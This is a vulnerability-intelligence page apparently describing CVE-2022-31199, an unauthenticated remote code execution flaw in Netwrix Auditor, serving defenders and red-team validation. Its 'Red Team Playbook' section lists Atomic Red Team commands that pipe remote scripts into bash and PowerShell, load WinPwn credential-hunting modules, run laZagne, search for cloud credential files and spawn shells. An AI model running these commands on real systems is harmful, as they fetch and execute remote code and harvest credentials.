CVE-2022-31199
Overview
The vulnerability is a remote code execution flaw caused by unsafe deserialization within the Netwrix Auditor User Activity Video Recording component. The root cause lies in the insecure handling of data exchanged via the underlying protocol between the Netwrix Auditor server and its agents. This flaw affects both the server and agents deployed on monitored systems, specifically within the protocol processing logic of the video recording feature.
Vulnerability Description
Remote code execution vulnerabilities exist in the Netwrix Auditor User Activity Video Recording component affecting both the Netwrix Auditor server and agents installed on monitored systems. The remote code execution vulnerabilities exist within the underlying protocol used by the component, and potentially allow an unauthenticated remote attacker to execute arbitrary code as the NT AUTHORITY\SYSTEM user on affected systems, including on systems Netwrix Auditor monitors.
Impact
An unauthenticated remote attacker can execute arbitrary code with NT AUTHORITY\SYSTEM privileges on affected Netwrix Auditor servers and monitored systems running the vulnerable agents. This enables full system compromise, including access to sensitive monitoring data and the ability to move laterally within the network. The exploit requires no authentication or user interaction, allowing attackers to gain persistent high-level control over critical infrastructure components monitored by Netwrix Auditor.
Solution
Netwrix has released security updates addressing this vulnerability in the User Activity Video Recording component of Netwrix Auditor. Administrators should apply the latest patches as detailed in the advisory available at https://bishopfox.com/blog/netwrix-auditor-advisory. The vendor recommends updating to the fixed version of Netwrix Auditor immediately and following the provided instructions to mitigate the risk. No alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Netwrix Auditor User Activity Video Recording component is a critical remote code execution flaw that poses significant risks to organizations utilizing this software for monitoring user activities. This vulnerability arises from weaknesses in the underlying protocol used by the component, which can be exploited by an unauthenticated remote attacker. The severity of this issue is underscored by its high CVSS score of 9.8, indicating that successful exploitation could allow an attacker to execute arbitrary code with the privileges of the NT AUTHORITY\SYSTEM user. This level of access grants the attacker extensive control over the affected systems, including those being monitored by the Netwrix Auditor.
Attack vectors for this vulnerability are particularly concerning due to the potential for exploitation without authentication. An attacker could leverage network access to send specially crafted requests to the vulnerable component, triggering the execution of arbitrary code. This could be achieved through various means, such as phishing campaigns that trick users into accessing malicious links or by directly targeting exposed services on the network. Once the attacker gains access, they could deploy malware, exfiltrate sensitive data, or even pivot to other systems within the network, thereby amplifying the impact of the breach.
The real-world implications of this vulnerability are profound. Organizations that rely on the Netwrix Auditor for compliance and monitoring are at risk of losing sensitive data, facing regulatory penalties, and suffering reputational damage. The ability for an attacker to execute code as a system-level user means they could disable security measures, manipulate logs, or create backdoors for future access. This not only compromises the integrity of the monitoring solution but also undermines the overall security posture of the organization. The financial ramifications can be significant, with costs associated with incident response, recovery, and potential legal liabilities.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating and patching the Netwrix Auditor software is crucial, as vendors typically release security updates to address known vulnerabilities. Additionally, implementing network segmentation can limit the exposure of the vulnerable components to untrusted networks, reducing the attack surface. Organizations should also employ intrusion detection systems (IDS) to monitor for unusual traffic patterns that may indicate exploitation attempts. Regular security audits and vulnerability assessments can further enhance an organization's ability to identify and remediate potential weaknesses before they can be exploited.
In conclusion, the remote code execution vulnerability in the Netwrix Auditor User Activity Video Recording component represents a significant threat to organizations leveraging this tool for user activity monitoring. The potential for unauthenticated attackers to execute arbitrary code with system-level privileges necessitates immediate attention and action from security teams. By implementing robust detection and mitigation strategies, organizations can better protect their systems and sensitive data from the risks associated with this vulnerability.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2022-31199, highlighted by the emergence of a public proof-of-concept exploit on GitHub and the addition of this vulnerability to the CISA Known Exploited Vulnerabilities (KEV) catalog. Our telemetry indicates a significant increase in exploitation attempts, coinciding with a rapid rise in the Exploit Prediction Scoring System (EPSS) score, now positioned in the top percentile for likelihood of exploitation. The elevation of the CVSS score to 9.8 underscores the critical severity of this remote code execution vulnerability, which allows unauthenticated attackers to execute arbitrary code with SYSTEM-level privileges. Notably, ransomware actors have been observed leveraging this vulnerability, intensifying the threat landscape for organizations utilizing Netwrix Auditor. These developments collectively amplify the urgency for defenders to prioritize detection and response efforts, as the exploitation window is expanding and the potential impact on monitored environments grows more severe.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Netwrix | Auditor | All |
cpe:2.3:a:netwrix:auditor:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
developerfred/CVE-2022-31199
|
developerfred | 0 | 0 | 2025-11-17 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-31199 |
| bishopfox.com |
GitHub CVE
|
https://bishopfox.com/blog/netwrix-auditor-advisory |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-31199 |